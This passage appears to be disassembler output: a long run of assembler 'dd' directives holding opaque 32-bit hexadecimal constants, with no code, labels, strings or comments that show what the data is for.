		dd 65FB39C4h, 0F6B78480h, 0D3CE1686h, 36639A90h, 373A7BC0h
		dd 6917BD6Fh, 0F0BDF3FEh, 0D7502DC9h, 98049BB2h, 6949AE63h
		dd 6F128E30h, 58D269F8h, 0B5E69790h, 869780F6h,	9806BE41h
		dd 0F0212ADBh, 1DAC80D4h, 0DF898026h, 0F32F5778h, 0D614814h
		dd 83253C2Ch, 4BFC359Eh, 34797CBFh, 0D6215713h,	1B727634h
		dd 4C350801h, 0DAE3C10Dh, 1EF9F040h, 3E54DB24h,	5928FB02h
		dd 0A3E55A07h, 1416813Fh, 0A22E1D71h, 1D4102FCh, 42315D59h
		dd 0ED1E8AFFh, 0C85F1001h, 40604E40h, 0A314148Dh, 7D1CC923h
		dd 1229D2FBh, 0E644FB76h, 4582F301h, 0EAA30FB4h, 328E03FBh
		dd 0AE06C205h, 7B8009BCh, 0B685E95Ah, 56AC4068h, 312803D4h
		dd 3BCEFEFh, 0A5955325h, 0ED6096D6h, 0A05F3564h, 0B1886CF3h
		dd 40E4A8F5h, 0F01B82Ah, 2D511016h, 9C217C6Ch, 1D899900h
		dd 9552780Dh, 60E99468h, 0C38FE160h, 4CE364DBh,	33897B18h
		dd 1305C7AAh, 0DFFCA8F3h, 7BA1B692h, 2B84292Fh,	3E8CEF45h
		dd 14AB28BFh, 6784F19Dh, 43D039E9h, 0D2C46825h,	973C7D4Eh
		dd 4A10E96h, 0E1657C7Eh, 49886F66h, 562703AAh, 81B3402Bh
		dd 305B2DB1h, 0D72FB225h, 0FEC98000h, 0E9BFB450h, 1482572Dh
		dd 0B1C9B86h, 5D02B60Fh, 0E0E9446h, 0D713E5DCh,	51535B44h
		dd 0BD0DB6C0h, 2AF79842h, 2710A6AFh, 0E1682966h, 72D36EFBh
		dd 0D18974BEh, 49245E4h, 0C728EB83h, 93887044h,	5527AA2h
		dd 0C1DBF766h, 0E3EC82EBh, 20370D6h, 0B70D8417h, 0EC28695h
		dd 45A5409h, 0FF49D819h, 0A380CCh, 0BB45C478h, 8EC9CCAh
		dd 7C9102BDh, 0CB397799h, 9FDFF0EBh, 48F5B3C0h,	9FF1D2F4h
		dd 12B59278h, 0C7E6D739h, 1197295h, 7C693B3Eh, 8E07E0C1h
		dd 5E350206h, 0E9D27643h, 66710965h, 8A82E8B9h,	0DC0931F8h
		dd 5040528Fh, 0C0122241h, 0B104D14Eh, 8DBEC847h, 0B85A140Dh
		dd 64E91365h, 0D4ED6E5Dh, 0ACBA58DFh, 5A9F191Eh, 0EEEDD15Ch
		dd 0F47ED3DCh, 327EE907h, 9D2D4CC0h, 0EA5E4954h, 2C3E0070h
		dd 35D8F73Bh, 0CD095A0Eh, 8CC129FAh, 77287DCAh,	0AB7959E8h
		dd 154EC4Fh, 0B73305FEh, 0D9F9EE21h, 8811F5A9h,	4B126DEAh
		dd 0D2D542FEh, 8CC03BFDh, 12F87DB8h, 0EB487B2Eh, 16E90702h
		dd 69BA029Ah, 68FA51E1h, 83C44B49h, 10B08BBFh, 0E858A66Bh
		dd 5003E756h, 9C466E68h, 34485891h, 88274D35h, 5D4402Fh
		dd 855499D7h, 0E54B9A68h, 404F2E30h, 9EE6B33Ch,	736D21D3h
		dd 0A833B7BDh, 0D0F485h, 27F60EB9h, 5D606334h, 331D4205h
		dd 7C653E21h, 11D9A513h, 0E8015F04h, 6A88D9BFh,	7C68B981h
		dd 0DE4555C2h, 0B8F75816h, 0CA4EE84Fh, 5E93BF2Bh, 0B70FE691h
		dd 41370130h, 2FB660E5h, 0B6F53031h, 31A5951Eh,	95285479h
		dd 88BEDF0Fh, 0D8C26972h, 68590BA9h, 0C89A5106h, 7D5606DDh
		dd 2BDD341h, 0C741CD3Ah, 0C6C92460h, 340A7F82h,	6110200h
		dd 41754F1Fh, 4E2BAF2Eh, 0E6E5DD22h, 6A141AEh, 7F2A194Ah
		dd 20E0FD17h, 76C79A7Eh
		dd 0FBC1275Fh, 0A6BD2AD3h, 42A7B9C5h, 73477DF2h, 73019EA8h
		dd 4A6A551Dh, 0F43EC283h, 0E6E7D1D3h, 3AE19BC8h, 2A3AA48h
		dd 36B269C9h, 20D25C01h, 9F4E9808h, 0F3C522D9h,	2388A709h
		dd 0BAD6F79Bh, 0EAAEACD8h, 2EB9045Bh, 0C40A5A05h, 8133BE92h
		dd 0D7FAF451h, 31FE9C24h, 4B36D653h, 3AA92480h,	0E91D3A6Fh
		dd 2CEA7520h, 0E826C4Dh, 1FC47935h, 561EADC9h, 0BB1FB5C1h
		dd 0A45BBE8Fh, 752620A9h, 5827AA2h, 49BAE948h, 67D95B1Eh
		dd 0B46E32Ah, 878869B0h, 43CFEFCh, 0A3DD4EF6h, 3B484E5h
		dd 43A91FABh, 0E18851C6h, 44D9CB92h, 0DEF11409h, 0AE95BD3h
		dd 37413E79h, 54602C84h, 2389D5EDh, 90D15557h, 0C497F43Fh
		dd 0EF810377h, 619F15F8h, 0DB5CFB0h, 0E11EA3Eh,	0AE1853F7h
		dd 17E98227h, 0D33A7DB0h, 350CC477h, 0EA4E6B7Fh, 986ED829h
		dd 0E4B45B48h, 0E86A4025h, 77810F51h, 9BC6D589h, 0AD7F1CEDh
		dd 29CCBD04h, 53C06734h, 3B33B4Bh, 0EECB8113h, 4383792Dh
		dd 0AA9FC0DCh, 1D5AD928h, 610D114h, 399572AFh, 477E038Ch
		dd 0D9F758D0h, 7B3C100Eh, 0E0494F98h, 3B8678E9h, 76CEEBE5h
		dd 0F74A048Eh, 2A3B82DAh, 179F4E55h, 0B575E54h,	2B94DFC5h
		dd 0D0A525BDh, 0B84A1EA8h, 3DFBB421h, 0ED316FC6h, 0B900825Dh
		dd 0D2003A39h, 7B6D2D6Eh, 28015AFAh, 900705C8h,	8BB72020h
		dd 0E8442EEDh, 5F0A8950h, 0E7C3493Dh, 129830CFh, 0C2F24C9Fh
		dd 889CAF1h, 75C4C180h,	0AB83EE2h, 91A8135Bh, 0BF7370C5h
		dd 0BDEC5231h, 0FCFE2901h, 2B95C059h, 0B0EE743Ah, 0D84F420Ch
		dd 79E97A5Ah, 3E420841h, 655C07CCh, 0DC52AFA5h,	1A984284h
		dd 942219E8h, 305E1C31h, 4C160390h, 8DE019E0h, 32DF5F47h
		dd 554056CAh, 66807760h, 6D61E5ADh, 0C7DE9C7Ch,	0F74290BBh
		dd 56BAF152h, 3E21E96Bh, 0F0FBFDC7h, 955A12Bh, 5725EF39h
		dd 6E596789h, 15776885h, 97553ACCh, 34C91D4Ch, 9FDD04Fh
		dd 7D8011BEh, 3067AA00h, 0D7EA5E70h, 0ABD1E924h, 5AF05598h
		dd 78113B27h, 9925D26h,	0D551B265h, 0D9C5E389h,	0B7680647h
		dd 0BABE8266h, 6733E970h, 77EA3180h, 55114B0Dh,	94F5C2ABh
		dd 0A0F6D3ADh, 0ABB6529Dh, 1AED8140h, 48662507h, 881B0FAh
		dd 0FBD22E5Ah, 2C62F803h, 3449D387h, 4110C008h,	0F2905C88h
		dd 0C75BD828h, 0D003F7E6h, 8FC1D92Dh, 44C2EA84h, 752A2035h
		dd 6FCD8007h, 53C1E5C0h, 3B20B2B7h, 686A82D9h, 3098327Fh
		dd 276852F1h, 7276304Eh, 0E33B7B28h, 559E130Dh,	1CBC3516h
		dd 31093C25h, 0E46FE271h, 40A2F3F0h, 4520DD55h,	0A9150ED0h
		dd 0CC2BE902h, 6AEF31DCh, 5C92E8C3h, 0BAA7385h,	4879CD7Dh
		dd 904B793Eh, 64B8D200h, 366769h, 4F7B6E35h, 72D403Ch
		dd 0A281216h, 16E5F886h, 0B8FC15E9h, 0BD85E585h, 10848AABh
		dd 0B7368B5h, 1D237FEDh, 8B0164D0h, 4A782556h, 203AEAD1h
		dd 972F0DF7h, 0C8B051ECh, 0EEAC0640h, 0B35A4A68h, 0DFB30220h
		dd 0D6DE86E9h, 266EF70h, 0BE7275D6h, 7362F2B4h,	6AEAFCF9h
		dd 0DD68176Fh, 268C6AC2h, 586DE58Bh, 0E95055A0h, 27C5E14Bh
		dd 0EC4BCDB2h, 50033AA4h, 9F41FE4Ah, 0FB6C8930h, 7104A67Dh
		dd 83529D11h, 62C02F9h,	16063108h, 60CA133h, 0DA6BB5E3h
		dd 360BA456h, 703BAE69h, 1A702610h, 43066FEBh, 0D3B766F0h
		dd 92273EC8h, 6850A780h, 0F43D060Bh, 0E8FAAF4Ah, 72F0EE5Bh
		dd 9A724C73h, 514E1C00h, 0B774E969h, 2D24F1B5h,	7860CBC2h
		dd 2D182C49h, 6A0E4336h, 93E85066h, 38E402E3h, 49E9405Fh
		dd 0F214EEC4h, 5ED2823Fh, 2F1354A0h, 6D7E7260h,	0A840D212h
		dd 332A44BAh, 0C028C136h, 3CC9CCD5h, 84914F83h,	80006A65h
		dd 51B7CDEEh, 4FB5609Eh, 849EDC0h, 3E7658DBh, 0F272A9E9h
		dd 0BD481202h, 0EBD1A53Ch, 5A580805h, 6720A01h,	0C9C5E49h
		dd 6A2E00B7h, 0B28BE955h, 5EC4999Fh, 0D1CF046Eh, 9F9DC0EFh
		dd 0DD1F904Eh, 8982F729h, 60315FFDh, 8077427Bh,	0AC2D840Fh
		dd 609092A5h, 25476A28h, 8FC84C62h, 7F1B6338h, 0E2112953h
		dd 790C926Ch, 2CBBA6BCh, 29A5168Ch, 56B06A0Eh, 4D3658FCh
		dd 97418925h, 6A16F0E9h, 0E1C11913h, 0D0C92204h, 66B90913h
		dd 0A8B22142h, 0B6AAC575h, 0F72F2D36h, 890AC0D6h, 1CB462E1h
		dd 0B301FC59h, 743028B9h, 0E3A75F27h, 5D013884h, 0C121A151h
		dd 96DE2F32h, 0F121EBE9h, 0F124E3AAh, 0B024C6Eh, 7BB01D7h
		dd 89190554h, 24B4E95Fh, 888866B8h, 83BFC46Ah, 0C688FEEFh
		dd 89F34BCCh, 6C97E0C7h, 1B022F99h, 5C1A7452h, 0D75D1F6Ch
		dd 644BD739h, 29DDF1CFh, 0DB3A3AF1h, 89163DB7h,	81C8E2F2h
		dd 0B951FA01h, 3EA212Ah, 0D28204A2h, 0F994BB25h, 9541437h
		dd 7786B082h, 3142BABAh, 0DA2DD7F6h, 92B9F2F4h,	5B5938E5h
		dd 2CF7FED4h, 130F57D9h, 5EC9BC80h, 0D2DACFB3h,	6806CFD4h
		dd 2C157FD9h, 0C93F95C3h, 0E200538Bh, 61127C45h, 0E92E8192h
		dd 8881D596h, 30585AF3h, 27B8A36Eh, 62090935h, 368D53Eh
		dd 58814429h, 0AD5A7F22h, 545D7D16h, 0A0D91014h, 87F32C17h
		dd 5B6641DDh, 1856F857h, 0C4B1599Fh, 0C9C2C152h, 0EDF37AC5h
		dd 0EA64CBDFh, 2B5DCC19h, 0E98258A7h, 0C6D1FADAh, 0A9BF6937h
		dd 273AF797h, 29C2EE40h, 269C5344h, 9982C63h, 1B5784CEh
		dd 0D59DCA1Eh, 4AF17220h, 0A72F3DB1h, 78B56031h, 0E52782B4h
		dd 0C98190D1h, 0A9304B43h, 1807AA68h, 1F21962h,	48C532CAh
		dd 5116C9F2h, 0B9147A1Dh, 61570C7Bh, 7C2C1816h,	400E6036h
		dd 27724A50h, 3B139B98h, 0EAB8A179h, 5E871850h,	17AD8A65h
		dd 499E9FF1h, 16F50112h, 28B18037h, 585F66E3h, 92309928h
		dd 0BD05E4C1h, 54E970F1h, 0BA52409Fh, 0D9015D80h, 0A661B85Ch
		dd 0A07B6650h, 352625EFh, 0C820F321h, 0C6870260h, 62E76858h
		dd 8B9ABB4Dh, 2B4F5809h, 2D6FC2AAh, 0E65FFB70h,	46BE7F00h
		dd 4A182F7Dh, 0A8780156h, 94220A1Fh, 5007EDFCh,	0A9837F0Dh
		dd 0D9486430h, 95939808h, 799763F2h, 23B9C0BEh,	0B785427h
		dd 2DD7CF58h, 4E479CF9h, 0BFA849EBh, 68BD6258h,	929EAC2Bh
		dd 0F032E62Ah, 4ECAB244h, 0C47DED5Ch, 4BA8FBE3h, 0C4B7179Eh
		dd 0D868BEE6h, 815E4F5Ch, 0D030D205h, 85276820h, 13269328h
		dd 441AE929h, 0C1885200h, 5ACEC46h, 289F3F01h, 0CA5143Bh
		dd 0B425F1E4h, 0E1A4985h, 4BFE5FC0h, 0E9399801h, 10645427h
		dd 1684B909h, 1676AA2Ah, 2541D16h, 20163853h, 2CF0A140h
		dd 180D1E30h, 96377CFh,	7401E917h, 167F3FA9h, 39595D48h
		dd 0F5BA825Ah, 13C3EC62h, 27EB1020h, 0C520C2E9h, 9C4167CDh
		dd 890C3461h, 9170774Fh, 0EFEB24EDh, 9A118A03h,	4D0AC0E3h
		dd 33FA41D0h, 0AA3BA5Eh, 30D96E10h, 0F75B8C29h,	0E0E0B8D3h
		dd 75669F3Eh, 9714DE01h, 36E5B81Eh, 5AE926D4h, 5F28023Bh
		dd 8889E1D1h, 0F2D46660h, 0E488F451h, 972F4E22h, 81E5DA47h
		dd 45F95E08h, 0F68ED34h, 7633CB8h, 7FA99E4Bh, 0EE5D744Ah
		dd 50E92FFDh, 39CECB89h, 885FEDFAh, 0C145A393h,	7C2CB9CAh
		dd 64C124D9h, 0EC77886Dh, 68B6722Dh, 12E2EEECh,	0E1569F61h
		dd 5886E08Dh, 8217703Ch, 3C756668h, 1A20F725h, 3920078Fh
		dd 7919CEECh, 0C6F0E359h, 376071ADh, 1BE87BFDh,	0B602ACBCh
		dd 6AACAE7Ah, 0C3F4580Ch, 7CAD2D06h, 68C035DBh,	0E9DE1D9Dh
		dd 2507E490h, 392F6110h, 21A9E086h, 0B727D8BFh,	0C5D641A0h
		dd 0E9257BD5h, 5CCFC1D4h
		dd 4301F472h, 159CE65h,	0C04194Ch, 0A1A3DB81h, 57C1406Bh
		dd 893F2F09h, 0F26FF5FFh, 4CFB27Fh, 6803F2ACh, 0AF784CAAh
		dd 3055ACA9h, 0BA80A2DCh, 77761781h, 7225BF06h,	974391AFh
		dd 0B753009Dh, 0A6043DC8h, 31BD1433h, 9AF05DB2h, 68515531h
		dd 5681345h, 3EF5F10h, 88DA85B9h, 55A6D2E4h, 101391E5h
		dd 61F60F97h, 0FAA9BE1Ch, 6750CCD7h, 44688F91h,	1699AF2Eh
		dd 1D480FFDh, 61C0BF51h, 0D2D1FA1h, 75254037h, 405D8212h
		dd 8318DE78h, 7BE2D3E1h, 4F920E98h, 0FF5A361h, 0DEA749CBh
		dd 0F7079728h, 0C00548D0h, 0D4391762h, 9FE92773h, 2F0DF1E9h
		dd 0A18B9624h, 5EA3680Bh, 0AEAAD7C6h, 0FAADBB5Fh, 471E51F5h
		dd 0FBEAC452h, 4F988617h, 0E9F00B21h, 4B9B8569h, 3A60EFC1h
		dd 9FC51F8Ch, 0BAC78DA4h, 6AE9594h, 1BBA5EA7h, 468DEF07h
		dd 0F760064Eh, 1687859Ch, 0ADFA29D8h, 0D7ED8B49h, 900EE510h
		dd 0CB079B99h, 83534C88h, 0A31374EBh, 8FD4C80Eh, 132F4FE9h
		dd 933DEB63h, 0AAB0133Ah, 8E832A25h, 37FAC4A5h,	0AB0593BCh
		dd 202CEF20h, 8397E7BEh, 0D25752B3h, 468B573Ah,	0C09F3916h
		dd 952765A6h, 412C06E7h, 9BD5558h, 1F131BCh, 102BF880h
		dd 5ABF1507h, 0CE3D0F99h, 0EFE9EA08h, 0C9697776h, 0CC3A46A5h
		dd 0EE955944h, 36E9185Ch, 0DCBF7D18h, 75A9190Bh, 0F7A1F501h
		dd 81FB4DD8h, 685DEB12h, 8C7B2B25h, 7F4022CEh, 51E2955Ch
		dd 2854CD75h, 0A76254A9h, 7E80EC0h, 0C30B3A2Ch,	0B4CB4305h
		dd 201698ACh, 0BD0912D6h, 219F4CCFh, 460B02C4h,	0D21ED5DBh
		dd 59F1BFEh, 0AA804B93h, 55A73B9Dh, 7321F2FBh, 0C280F93Ch
		dd 7223552Eh, 3775EAECh, 154AE0Dh, 8031CCAh, 0D50BDAE9h
		dd 0B125746Eh, 3C8159DAh, 0CC207712h, 55BA3A9Ch, 0C9F564B5h
		dd 5B79E614h, 66D9F602h, 2536150h, 3E4BF67Ah, 4119158h
		dd 455F4316h, 82DEF656h, 0C55FB410h, 5066B06Ch,	2C4E4EB0h
		dd 0B6B0C6BCh, 0C639805Eh, 27EE9D87h, 7FE3F68Bh, 0E0C06C0Bh
		dd 0FA13B151h, 0A2B1A7E9h, 1265CB6Eh, 0F334F22Fh, 453EA901h
		dd 59201BFCh, 0C23EED26h, 6C966B1h, 0F6B33A5Ch,	0C2CCEC93h
		dd 77331D68h, 0E909E6C5h, 56F62481h, 5E0362BBh,	575AE67Ch
		dd 395B7031h, 0E60A17BDh, 2C119A2h, 3E5ACD68h, 24353033h
		dd 8E95CFDh, 40138470h,	0C75BC400h, 0A031DB47h,	0BE58197h
		dd 61784CE3h, 5314B8D4h, 102A0482h, 0DB8036FCh,	0F60143DCh
		dd 10D560F7h, 49B57BE6h, 254122B7h, 17BAFDE7h, 0AEE35600h
		dd 50485E7Ch, 0C730ED1h, 0A04F4FA2h, 6967E1E7h,	0FA80A049h
		dd 0F2F373Bh, 0C053E30Ch, 37EF9C00h, 21065D60h,	0F5E913FBh
		dd 56DFE40Fh, 8D12E6BEh, 0DD09D313h, 4E8B708Fh,	0E1E4BC53h
		dd 0AD7859E9h, 0E0D0A84Eh, 4A65675Ch, 4034B819h, 200B4EC5h
		dd 0F6097C55h, 0ADC43011h, 4EC4D97Dh, 0BA166A01h, 0DE466409h
		dd 8917E3h, 4DA4058Eh, 2D0B27B1h, 87670AECh, 7CAF893h
		dd 5211503Eh, 8B23BA5Bh, 0E43292C2h, 0DAB22E57h, 26FB406Eh
		dd 579C76C6h, 0A0AA542Dh, 64C5950Bh, 4F1BF6BFh,	0F75818FAh
		dd 6809082Ah, 0AC27D9D0h, 208E1F0Ch, 44363505h,	0F1B83BADh
		dd 0FEB2916h, 1A7D9F45h, 68F50C2Bh, 0B2ECE923h,	11B0992Ah
		dd 0B54565Eh, 514C6E68h, 0B3358895h, 19AD6416h,	0CB681E74h
		dd 0E9933051h, 24D65D29h, 0A893CFADh, 0A868161Ch, 120963FBh
		dd 9E52F49h, 0D719B668h, 997BF16h, 2EF04CBh, 5A4720AFh
		dd 3C963CE9h, 3389F32Dh, 66132D4h, 0D261E90Dh, 82B5367Eh
		dd 8469D99Eh, 0BF129BB4h, 27A00C10h, 0C96EFE5Dh, 3A8C82E2h
		dd 0B30F53B5h, 690BB677h, 0B42360CAh, 0E1283CA6h, 0E967E796h
		dd 3B929E0Dh, 0D0BCB185h, 2738AA8Eh, 0E69744C1h, 2BFE4575h
		dd 828B02E0h, 4E3B9655h, 0B77B6EDh, 0C8AF09E9h,	30647251h
		dd 8F0C48DDh, 2E09531Bh, 4AE2C142h, 72E560E6h, 33879728h
		dd 8BD8195Ah, 8B09D895h, 97BC13F5h, 4912D0B7h, 0B79044EDh
		dd 0D212FDEFh, 4F631D40h, 2C3A5C32h, 0BD4180C3h, 3ED36DBEh
		dd 80AAD129h, 0AB14EAC4h, 0A0CE7BA4h, 975E6EFCh, 0B78B1651h
		dd 69F9F15Ch, 7B877600h, 9B51E08h, 13317597h, 1F12EFF5h
		dd 68E8E901h, 6E7D51A2h, 0FA25BADAh, 620483F6h,	0B0A5D6Ch
		dd 0C1BF0594h, 6D7B26h,	2DF4CDBAh, 0C0C0DBA1h, 4994FB40h
		dd 245BA662h, 85870404h, 70999DFEh, 26FE6834h, 4994D3B7h
		dd 12D8CC04h, 0E2031FBCh, 62536919h, 0F1C21102h, 0F6473B72h
		dd 2D2241Bh, 1F3F53F8h,	0D561C662h, 9F56A28h, 2027D97Eh
		dd 31480E9Ah, 0A7813CDh, 9CA671CDh, 9EA80B44h, 76581431h
		dd 95BD02E8h, 416BC22Ah, 0D819144h, 2E9E801h, 25247983h
		dd 58E7609Dh, 22D2952Dh, 42E9594Bh, 0F4772712h,	0CA40DBF1h
		dd 308801B7h, 0B65259CFh, 60F7C1C3h, 11FFF898h,	5600627Bh
		dd 350F5768h, 855E0E74h, 0BE56D917h, 13BB5A09h,	3ED88CC3h
		dd 45EC09B9h, 2D002E42h, 1204F5Bh, 9775F1ECh, 1811DD30h
		dd 0E8404A34h, 220C092Dh, 1478282Eh, 24590781h,	31267F82h
		dd 0BC1AB242h, 0B5B6D80Dh, 98A44AE7h, 9B5A9162h, 6EBCACB0h
		dd 195E54E1h, 12983F30h, 2DA137h, 7C4AA2E1h, 561D4238h
		dd 0DB3AFABEh, 0F602D3BDh, 7ADB2277h, 998463F7h, 0DEF905EEh
		dd 5ACDF23Bh, 66B281BCh, 3F8EC857h, 0B1539D5Ah,	2C89F82Dh
		dd 0D2DED3F6h, 0E7C734B2h, 31FE1208h, 7CA66648h, 3CA993F3h
		dd 3B19BF10h, 6E4A10ACh, 89F33112h, 3EB3357Dh, 0BCE84091h
		dd 0E2F1AD03h, 2A4365A4h, 7AA05180h, 5E412C9Ah,	0B850018Fh
		dd 0C3CB354Ch, 1AA51E5Fh, 3ABD0C8Fh, 18DE77ECh,	92D1D3BFh
		dd 0E97F615Ch, 451F7C48h, 56CA7B89h, 5F10FA91h,	541588Dh
		dd 71F721D0h, 1B43EF00h, 0F90109AEh, 0D0081CA0h, 0FF34141Ch
		dd 5A6A8BFEh, 0AAF4F6EDh, 40C1F8D8h, 63BC5A99h,	1206666Ah
		dd 1CCA05Eh, 0EF755DE9h, 0A7D9292Eh, 56A8E1ECh,	84F4E039h
		dd 0E25175E2h, 8E2A10DAh, 0CA80A159h, 53683281h, 0B202C24h
		dd 7BDE308h, 3F9FF380h,	390F8609h, 16FBC306h, 4DA8624Fh
		dd 0FAED2F7Eh, 542BCADCh, 6656804h, 0B63571FEh,	0BA316B49h
		dd 0C104D9AEh, 6DB479C7h, 64BD0BD0h, 3F007F90h,	0D421B29h
		dd 59B6015Eh, 7B71B15Bh, 0B48937B4h, 1ECE1D23h,	9F4467B6h
		dd 50C454F7h, 79821DFh,	355A4868h, 3D2843F5h, 0B150F85Fh
		dd 680077B0h, 679B171Ch, 0EB708B02h, 9B616051h,	1FC1055Dh
		dd 90F372E9h, 604C5ADAh, 925F09Fh, 6C636F7Dh, 4E12B7D4h
		dd 0A7DE3000h, 0EF566B1Bh, 7FCDAA82h, 425D0CC4h, 5E07000Eh
		dd 0A4011168h, 36540F3Dh, 0CF653761h, 978BBA8Bh, 9B6DD155h
		dd 4B87E10h, 4E206859h,	5E1882B3h, 4018E15Bh, 5A4AE6B7h
		dd 3AFC4C35h, 87B04A59h, 124ECB01h, 3EAC127h, 0E907C8CFh
		dd 0E4DC5F68h, 4C160865h, 0CBECD26Bh, 565F94Ah,	60702FD4h
		dd 209B3A87h, 484BBA0Dh, 0C282A026h, 2D061336h,	3D5AE07Dh
		dd 80806AB5h, 0DDB64D0Eh, 0FB8925B0h, 0F749F479h, 0D4C07C8Bh
		dd 9195C589h, 3F2C1173h, 5FF83101h, 68407568h, 9C42DE93h
		dd 544E7A16h, 3E8E0136h, 7A897737h, 90E9ACE4h, 7444D72Ah
		dd 0EC198092h, 544F4A51h, 82A0B87h, 98014927h, 0C1BA8181h
		dd 8D3D7E7Dh, 55EF96DFh, 0B6CCD041h, 1B32BF00h,	0B11E2135h
		dd 3313FD01h, 0B13F40E6h, 454430BDh, 54097005h,	15E035E9h
		dd 9B3A355h, 865B2BD2h
		dd 0F5501F50h, 8F265507h, 32AC1102h, 0C1481711h, 79DACB03h
		dd 0F3B01005h, 24D71E4Fh, 5554F8A8h, 0AD7C16A0h, 0FA61127Bh
		dd 24179008h, 0D1800B9h, 0FA291BE7h, 807E2A2h, 0D069A5E9h
		dd 78C40547h, 0BD3AB83Ah, 2F929352h, 7A410FAh, 11A275h
		dd 0A144CBF6h, 9E70956Eh, 0B7C85820h, 0B1F044F8h, 0E1A2564Eh
		dd 2FFBCA4Fh, 20F4655Dh, 3E4EF6A4h, 0CE024627h,	509053CBh
		dd 0EE6D8C8h, 44916614h, 5E2C05E9h, 0B0C54CCDh,	63E993D0h
		dd 664AC507h, 0CEC1BE5Ah, 17DF38F0h, 0B014B775h, 0A24020F5h
		dd 7874C958h, 0CE100507h, 119D9ECh, 83C66F9Eh, 5224B4A8h
		dd 22F27440h, 0FC6E5A25h, 31F58187h, 3FDBE6AAh,	0DDBC8217h
		dd 0A61FA024h, 2D7D6E7Bh, 555A4A56h, 6817B852h,	0BABC0992h
		dd 0A7AC05CAh, 0FC5A137Eh, 25E950BCh, 530C16Bh,	39C5504h
		dd 0D8025A58h, 0E91356C4h, 2EC0D0Bh, 0A4453CFh,	0BCC240DAh
		dd 980FA12Eh, 0C1B0133h, 15E93379h, 0C5ED28A0h,	4F475A6h
		dd 8C68133Ch, 0FF60EF45h, 41791CF0h, 5EB80C31h,	0E56DC1DEh
		dd 0F5193D9h, 692465F1h, 1D74A859h, 5517D187h, 16BBF9C4h
		dd 0D013B954h, 0AAE9E397h, 9EB0E6DEh, 0E9525060h, 247A1F30h
		dd 51964Eh, 0CB48C0B9h,	2BC1811Bh, 24D43A16h, 0FA58F4A4h
		dd 0B14E5E89h, 442E83D4h, 0F81AF910h, 321615E1h, 0D12A6372h
		dd 7008B161h, 530C4727h, 0C8F75D83h, 0C0BFA8A1h, 5F037FEFh
		dd 655D1340h, 2AA72D8Bh, 0D36057DDh, 71EEB7B8h,	0E754E720h
		dd 9570C8D8h, 0A900D129h, 2A5E29B6h, 0F4900CC3h, 0B8C2B535h
		dd 0FA305F5Dh, 0F582FF4Ch, 0E02D0E05h, 801EB517h, 284BEB88h
		dd 95B07760h, 5991C470h, 0E9A5F343h, 362F7BF8h,	63B0180Ch
		dd 8B803C5Ah, 5B4FE950h, 2C7D2888h, 28A8C783h, 29AC0EC2h
		dd 7D206805h, 5B664557h, 0D2DB0BBFh, 0FE7CEC69h, 0E1205A3Fh
		dd 17BC32D0h, 0A9F9E544h, 0B09389C8h, 0CEC5A220h, 0CDEF2F82h
		dd 0D6ACF854h, 5CDE5CAFh, 29BD2A54h, 4930CF77h,	0F1C53DD1h
		dd 43B5262Bh, 0F3F08544h, 94AB8277h, 0E491B5Ch,	0F40809B7h
		dd 23050E2h, 42F76FC9h,	79C8DFC5h, 0F50B6FB2h, 0FFCEE97Dh
		dd 0AA063D9Ah, 5809377Ah, 0D641F680h, 0E8CC635Bh, 2BEA9D2Fh
		dd 202E0BC7h, 685657B0h, 5D791F1Ah, 126B094Eh, 96614974h
		dd 0EFEB2957h, 9DFA7049h, 0B90D04E7h, 0A63EC510h, 0C46627CEh
		dd 0C9D89569h, 808FC16Eh, 9AE7D633h, 56C5BD21h,	9CDB098Ah
		dd 653E422Dh, 128A42Eh,	7015F3BBh, 48433814h, 60E80027h
		dd 7DE91D4Bh, 7512B565h, 3F6A3AC0h, 837599B5h, 9375E910h
		dd 654B6C9Eh, 595B2D63h, 8A7243h, 52CBFE3Ah, 0E2C0E4B2h
		dd 0CA80030Ch, 0EC060C01h, 2DE879C2h, 9ED86BF2h, 7F31CBFEh
		dd 0CF47E4F6h, 4E05BB04h, 0FFB86668h, 0D4D2A94Fh, 48310F29h
		dd 40EA77C2h, 36966F12h, 0F54001AFh, 6C490FC5h,	0FD2B694Eh
		dd 3008A608h, 0B21A00Ch, 0FD99744Ah, 496A528h, 1911A633h
		dd 0A02B68B4h, 0D7023497h, 0FE14B151h, 53235DC1h, 0CB82D2F1h
		dd 0B849D55h, 0D75021E9h, 16AF5199h, 0ABE927A4h, 65F7C862h
		dd 80A0E9F4h, 28E476EBh, 0AE7EE919h, 1C57B940h,	0A45FF6FBh
		dd 6BD22FADh, 0C588E912h, 2683C4E5h, 0DCB3FD1h,	0CD84E2FFh
		dd 3FF8F449h, 1378E5F0h, 0EED88F7Ch, 3CB92517h,	0E55BD918h
		dd 2395205Ch, 4B52172Ch, 805974EEh, 0A2401400h,	124F602Fh
		dd 4CB207FDh, 0D4D7B532h, 0C5800783h, 0C7CD3360h, 52661302h
		dd 0D53032B6h, 0EA88A0C0h, 0CA735977h, 0D001DAA0h, 92F0E275h
		dd 961AE912h, 8AF631AFh, 5A353B7Bh, 0B8BE01Ch, 5991CAACh
		dd 58B9E9BCh, 5F1B40C5h, 0E912E821h, 31AB8414h,	79AC181h
		dd 725194D2h, 599F09A8h, 10774B36h, 1DF702FCh, 19FB87DBh
		dd 0C74308D7h, 3AD31440h, 31DEBB12h, 0B28CFBE0h, 6CCD80F0h
		dd 20459F8Fh, 360BAD20h, 316D13Ch, 8A2E6974h, 0A9166029h
		dd 4A182F08h, 551370F6h, 0CD1BC340h, 0E5FAE92Dh, 59014D32h
		dd 1DCB970h, 34500BCEh,	25D89A5Dh, 0A0D6AFA6h, 0F5BC0C52h
		dd 9AE50581h, 0C130CF10h, 9354D2C6h, 0FB31EF19h, 16989253h
		dd 0D96C1847h, 5801C727h, 0B29B0C9h, 556F5211h,	5B14DD82h
		dd 662A385Fh, 0FFC89FD3h, 5D8250DDh, 6807AD80h,	0C13B2B62h
		dd 2FF048EFh, 0C5CD09A1h, 1396BFDCh, 0F8E149C2h, 128B4C04h
		dd 0A47A27BAh, 4CC1B8E6h, 0BBC15E51h, 4959FCA6h, 0FD9D8815h
		dd 4D4AC800h, 817C070Dh, 277397C2h, 26CA6017h, 38FFF80Ah
		dd 0F2057F6Fh, 43725484h, 0CDDCDD00h, 0B531580Dh, 0E90B13DBh
		dd 357B60EEh, 0F8112F4h, 1380996h, 0FDBB94D4h, 0F1F18C64h
		dd 370B22FFh, 762D40D6h, 1A577AA9h, 0B5A85876h,	6884CF51h
		dd 0E2EC4E45h, 575DB2C1h, 3B172B0Dh, 23D441BFh,	3E134842h
		dd 1F07E712h, 60426AFh,	210032BDh, 0E99361B9h, 0A3AA9C6Ah
